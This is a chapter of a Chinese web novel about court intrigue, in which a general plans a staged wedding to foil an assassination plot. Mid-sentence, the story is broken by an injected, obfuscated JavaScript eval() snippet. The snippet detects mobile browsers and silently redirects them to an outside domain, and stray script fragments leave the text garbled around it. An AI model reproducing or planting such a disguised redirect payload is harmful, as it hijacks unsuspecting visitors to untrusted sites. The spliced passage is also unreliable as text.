默认冷灰
24号文字
方正启体

56. 血色婚礼(四)

作者:猫水仙本书字数:K更新时间:
    萧正晞接过酒杯,饮了一口。甘美胜过寻常醴酪百倍。


    萧正则自己倒不喝酒,依旧端着那杯岩茶,也不怎么饮,像是单纯嗅着那气味似的。


    酒意上涌,萧正晞觉得自己胸中聚了股气。


    “皇兄,当年西戎之事……”


    其实,当年那场血色婚礼,具体细节,萧正晞并不清楚。


    那时,晋国与西戎的盟约岌岌可危,预备于边境举办一场宴饮会谈。


    他贪玩,非要同太子一道去。再三保证,就在城中乖乖呆着,绝不惹事。他还问过萧正则:“七哥,要不要一同去?”


    萧正则眼睛一亮,却是低下头。


    “不会是,容少将不许你去吧?”萧正晞瞎猜的,不想却猜对了。


    这次回南境之前,容鹿鸣难得地见了萧正则一面,多的话没有,仅一句:“在京中好生呆着,哪里也不要去。”


    “老师,是要发生什么事吗?”


    容鹿鸣不答,拍拍他的头,“走了。”


    她的背影就那么滑向远方,如同一记刀痕。


    每每午夜梦醒,都令他忧心难眠。他却是谨守她的吩咐,哪里都未去。


    萧正晞跟着太子去了西境。太子忙他的外交事务,他折腾他自己的,带着侍从整日吃喝玩乐。他本就是个纨绔王爷,好在从不惹事,众人也便任他去了。


    初至边境,使团休整。到时前来的西戎官员虽以宇文靖为首,却有不少出自奕王麾下。


    听说宇文靖突然病了,正在修养,会谈定在五日后。使团之内,气氛有些微妙,人人脸上都隐现不安之色。


    萧正晞也无心玩闹了。他虽说整日里没个正形,家国大事心中还是有的。他知道辰王之乱后,西戎皇帝不问朝政,宇文靖有心再续两国盟约,其叔父奕王却力主决战……他想到政变、战争,感觉到隐然的危机。


    于是酒也喝不下去了,傍晚时分,散着手在街上来回走。他同宇文靖在京中、西戎都城见过好几次,算是颇有些情谊的酒友。他心里想,要不要先去见一见宇文靖,他一介外交使臣,就说是献礼,说不定能见着?


    他拿定主意,踏着石板街往前走,流华跟在他身后。路过街角一个朴实的小茶摊,都走出去好远了,他心里觉得不对,转身便往回跑,险些把流华撞倒!


    “郎君!”


    “快,跟上!”


    萧正晞从不知道自己竟能跑这么快。停在茶摊角落的木桌旁,叉着腰,气喘吁吁,话也不说,端起那两人面前的粗瓷茶盏,一口一杯,全喝了个干净。然后想起礼数来,后退一步,“敢问,可是容讲郎身边的美盼娘子?”


    他虽未见过容鹿鸣,却是见过美盼的,亦知她是容鹿鸣的贴身侍女。


    美盼见他简服,知道是微服私巡出来玩的,施了一礼,称他“郎君”。


    萧正晞同流华也在那桌坐下。桌上另一个娘子他不认得,也顾不上认识。他心道:“美盼在这儿,容鹿鸣恐怕也在,这仗,怕是真的要打起来。”


    美盼见他面色几变,猜到他心中忧思。


    “郎君安心,奴婢乃孤身来此,非为战事。”


    她提到战事,萧正晞这才想起来,她主子容鹿鸣应当奉诏返归南境战场,绝不应出现在这儿。


    可若是容鹿鸣手里握着什么密旨,或是……私下偷偷前来。萧正晞茶也不喝了,两只眼睛看着美盼,想问些什么,又不好贸然出口。


    若容鹿鸣真在此……她可是他七哥的命呐,他还是什么都不要多问为好。


    美盼被他反复变换的脸色给逗笑了。


    “郎君莫紧张。奴婢来此既与少将军无关,也与使团无关。不过,确有一桩小事,需要郎君相助。”


    “美盼娘子请讲。”


    “切莫告诉任何人,在这里见过奴婢。”


    “包括太子?”萧正晞知晓容鹿鸣一方与太子关系匪浅。


    “包括太子。”


    “连我七哥也不能说?”


    美盼停了一息,为萧正晞与身边娘子各倒了杯茶,“对,连他也不能说。”


    “那,会有危险吗?”他不大信美盼,担心容鹿鸣亦在此地。容鹿鸣若有危险,他一定会尽己所能地帮助她。他不能想象,若容鹿鸣出了什么意外,七哥该会如何地痛彻心扉。


    “劳郎君挂心,无妨。”她笑着说。


    她竟然还能笑着!这样的局面下,连他都能预感到危机。


    而后,她轻轻放下几枚铜板,“今日的茶,算奴婢的。郎君保重。”


    “保重。”


    自始至终,同美盼一道的那位娘子,都只字未言。几日后,萧正晞惊觉,那女子竟成了靖王妃。再后来,他才知道,她就是容鹿鸣。


    美盼立在金丝楠的书案前,一边为容鹿鸣研墨,一边想些旧事。当年在小茶摊上偶遇九王萧正晞,说好了,绝不说出在西戎见过她的事。没想到,一个转身,他对着皇后,“靖王妃”都叫出口了。


    容鹿鸣一边在默书《庄子·天运》,一边在等着什么。


    有个侍女来禀:“皇后娘娘,陛下去了九王府,尚未回銮。”


    搁下笔,容鹿鸣这才更衣就寝。安神药她是不再喝了,那根锋利无比的红宝石发簪,也已悄然回到她枕下。


    美盼守在她床侧,轻柔地为她打扇。非为驱散暑气,这“自雨殿”里已十分舒爽。她扇出的一阵阵小风近乎一种陪伴,轻轻告诉梦中人,有人在为她守着清梦。


    旧日之事浮现上来,于美盼心中。


    那日,她的谎言萧正晞似是信了,未做深究。他并不知道,容鹿鸣就坐在他身边。


    他们于返归南境途中收到密信,来自容家藏于西戎王廷的暗卫。容鹿鸣阅后即焚,其他人都不知写了什么。


    出了京,她对容小虎说:“你带着人先回南境,两国现下休战,当无大事。我与美盼,要秘密潜入西境一趟。”


    “可是与靖王有关?少将军,我们与西戎正剑拔弩张,稍有不慎……”容小虎满脸忧色。


    “不会的。”容鹿鸣把龙泉剑束上革带,薄刃匕首入袖。她面上笑意和煦,手上,却做着拼杀的准备。


    “我随少将军一道去!”容小虎忧心极了。


    “不必,你若去了,朝中定会起疑,宋家和林党可都盯着呢。”她笑着,雕着“家国在肩”的左手拢握成拳,于她自己右肩用力一槌。


    容小虎也如是做。一切尽在不言中。


    入了西戎边境,容


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972006|171898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鹿鸣方才对美盼说:“本次两国和谈,我国是太子前去,西戎一方,则是阿靖。”


    “如此重任在肩,靖王也算是如愿了。”美盼还挺高兴。


    容鹿鸣的面色晦暗不明,俯身于美盼耳边道:“奕王恐将在会谈之中暗害阿靖,然后,嫁祸给我国。”


    美盼硬生生掩住口中急呼,朝窗户快速掠了一眼。


    为掩人耳目,他们扮作寻常商贾,住在闹市中一家普通的旅店内。人来人往,闹闹嚷嚷,反倒易于隐藏。


    “少将军,这可如何是好?”美盼亦是低语。


    “如若此计成了,阿靖殒命不说,我国背了杀害西戎亲王之罪,西戎即刻便会向我国宣战。”


    美盼变了脸色,说不出话来。


    “会谈定在五日后。我们尚有三日的时间,余下两日叫他们收拾残局。”


    容鹿鸣饮了口粗茶,以随身的巾帕拭剑。


    “那该怎么办?要去告知太子,请他派人保护靖王?”


    “不妥,这个关头,我们的人最好不要与阿靖出现在同一场合。”


    美盼忧急如焚。


    容鹿鸣却面色平静,饮尽了茶,捻起粗瓷茶盏在案面上转着玩儿。


    “少将军!”


    “莫急”,她止住茶盏,含着笑:“阿靖虽已过舞象之年,可尚未娶妻呀。”


    美盼一头雾水:“少将军呐,这人都性命堪忧了,还谈什么娶妻?”


    “这妻,当然要娶。先前西戎皇帝数次赐婚、奕王屡次撮合,阿靖都谢过了,推说是心有所属,非其不娶。”


    “……所以呢,这生死关头,我们难道要去把那人寻来,与靖王做对儿亡命鸳鸯?”


    “差不多,不过不必寻。”


    “少将军知道她是谁?”


    “我呗。”


    美盼心中悚然。难道少将军已猜到靖王心思?不应该呀,他藏得很深。若非那回,她见他悄悄把她用过的发梳按在心口,按了许久,脸上尽是温柔夹杂了痛楚,她根本不会心生异想。


    靖王一向谦和有礼,朋友的尺度,他拿捏得太好。


    美盼“腾”地站起来,“少将军……您这是,魔怔了?”


    容鹿鸣扯她衣袖,示意她坐下。


    “淡定,嫁个人而已。”心下已有成算,她有意逗逗美盼。


    美盼话都快说不利索了:“以少将军的身份……这若是真嫁了,婚礼是多好的机会!谋害靖王的罪愆到时定会直接栽赃到您身上……何必如此,即便真的心系靖王……”话说到这里,美盼停下,她家少将军绝非为情所困之人,再转头望向容鹿鸣,只见她松快地坐在那里,又转起了手中的杯盏。看她那表情,似乎,又谋划好了什么。


    于是,犹疑之间她又问了一句:“这靖王,是真要嫁?”


    “恩,你也说了,婚礼是多好的机会。”


    美盼明白过来,“西戎那边,与其晤谈之中动手,不如婚礼上动手。见证者众,便于事后叫嚣。而混乱之中,我们也便易行事。”


    “所言甚是”,容鹿鸣点头,“不过,确切说来,不算是我嫁。”


    美盼被她弄糊涂了,“那是谁嫁?”


    “萧友笙呀。” 容鹿鸣狡黠一笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)